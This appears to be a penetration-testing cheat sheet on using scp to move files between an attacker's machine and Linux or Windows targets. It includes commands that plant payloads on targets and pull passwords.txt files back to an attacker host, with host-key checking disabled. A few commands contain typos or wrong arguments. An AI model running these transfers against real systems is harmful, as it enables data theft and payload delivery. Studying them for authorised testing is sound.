Skip to main content

SCP

SCP Syntax Review

The most fundamental syntax for using scp is this:

# Password Authentication 
# -----------------------
# Transfer from Local to Remote
scp [local path] [username]@[target-ip]:[remote-path]

# Transfer from Remote to Local
scp [username]@[target-ip]:[remote-path] [local-path]


# Private Key Authentication 
# --------------------------
# Transfer from Local to Remote
# Authenticate as [username] on [target-ip] using private key file
scp -i [path-to-private-key-file] [local path] [username]@[target-ip]:[remote-path]

# Transfer from Remote to Local
# Authenticate as [username] on [target-ip] using private key file
scp -i [path-to-private-key-file] [username]@[target-ip]:[remote-path] [local-path]

Linux Target Running SSH Server

From Attack Box

  • Transfer a payload from /tmp/payload on the Attack Box to /tmp/pwnz on the target

Password Authentication

scp /tmp/payload johndoe@target-ip:/tmp/pwnz

Private Key Authentication

  • You have obtained a private key for the johndoe user on the target
  • You have stored the private key file in /tmp/johndoe on the Attack Box
scp -i /path/to/privatekey /tmp/payload user@target-ip:/tmp/pwnz


To Attack Box

  • You want to transfer /home/johndoe/passwords.txt to /tmp/passwords.txt your Attack Box
  • Run these commands on Attack Box and authenticate as johndoe on the target

Password Authentication

scp user@target-ip:/home/johndoe/passwords.txt /tmp/passwords.txt

Private Key Authentication

  • You have obtained a private key for the johndoe user on the target
  • You have stored the private key file in /tmp/johndoe on the Attack Box
scp -i /tmp/johndoe user@target-ip:/home/johndoe/passwords.txt /tmp/passwords.txt


Windows Target Running SSH Server

From Attack Box

  • Transfer a payload from /tmp/payload.exe on the Attack Box to C:\Windows\Temp\ on the target
  • Run these commands on Attack Box and authenticate as johndoe on the target

Password Authentication

scp /tmp/payload.exe johndoe@target-ip:C:/Windows/Temp/

Private Key Authentication

  • You have obtained a private key for the johndoe user on the target
  • You have stored the private key file in /tmp/johndoe on the Attack Box
scp -i /tmp/payload.exe johndoe@target-ip:C:/Windows/Temp/

To Attack Box

  • You want to transfer C:\Users\JohnDoe\Desktop\passwords.txt to /tmp/passwords.txt on the Attack Box
  • Run these commands on Attack Box and authenticate as johndoe on the target

Password Authentication

scp johndoe@target-ip:C:/Users/JohnDoe/Desktop/passwords.txt /tmp/

Private Key Authentication

  • You have obtained a private key for the johndoe user on the target
  • You have stored the private key file in /tmp/johndoe on the Attack Box
scp -i /tmp/johndoe johndoe@target-ip:C:/Users/JohnDoe/Desktop/passwords.txt /tmp/

Attack Box Running SSH Server

  1. Create a junk user account on your attack box
  2. Create an SSH key pair
  3. Add the public key string to /home/junkuser/.ssh/authorized_keys
  4. Transfer the private key to the target
  5. Run one of the commands below
  6. Destroy the authentication mechanism!
    • Don't leave access to your attack box on the host
    • Do one of the following (or both):
      • Delete the private key off the target: rm -rf /path/to/privatekey
      • Delete the junkuser account from the attack box:  sudo userdel -rf junkuser


Windows Target

  • SSH private key for junkuser account on Attack Box is stored at C:\Windows\Temp\junk-key.pem

From Attack Box

  • You want to transfer a payload from /tmp/payload.exe on the Attack Box to C:\Windows\Temp\ on the target
  • You will run this command on the target to authenticate as junkuser on the Attack Box
scp -o "StrictHostKeyChecking=no" -i C:\Windows\Temp\junk-key.pem junkuser@attack-box-ip:/home/junkuser/payload.exe C:\Windows\Temp\

To Attack Box

  • You want to transfer C:\Users\JohnDoe\Desktop\passwords.txt to /home/junkuser/ on the Attack Box
  • You will run this command on the target to authenticate as junkuser on the Attack Box
scp -o "StrictHostKeyChecking=no" -i C:\Windows\Temp\junk-key-pem C:\Users\JohnDoe\passwords.txt junkuser@attack-box-ip:/home/junkuser/

Linux Target

  • SSH private key for junkuser account on Attack Box is stored at /tmp/junk-key.pem

From Attack Box

  • You want to transfer a payload from /home/junkuser/payload on the Attack Box to /tmp/ on the target
  • You will run this command on the target to authenticate as junkuser on the Attack Box
scp -o "StrictHostKeyChecking=no" -i /tmp/junk-key.pem junkuser@attack-box-ip:/home/junkuser/payload /tmp/

To Attack Box

  • You want to transfer /home/johndoe/passwords.txt to /home/junkuser/ on the Attack Box
  • You will run this command on the target to authenticate as junkuser on the Attack Box
scp -o "StrictHostKeyChecking=no" -i /tmp/junk-key-pem /home/johndoe/passwords.txt junkuser@attack-box-ip:/home/junkuser/

Back to top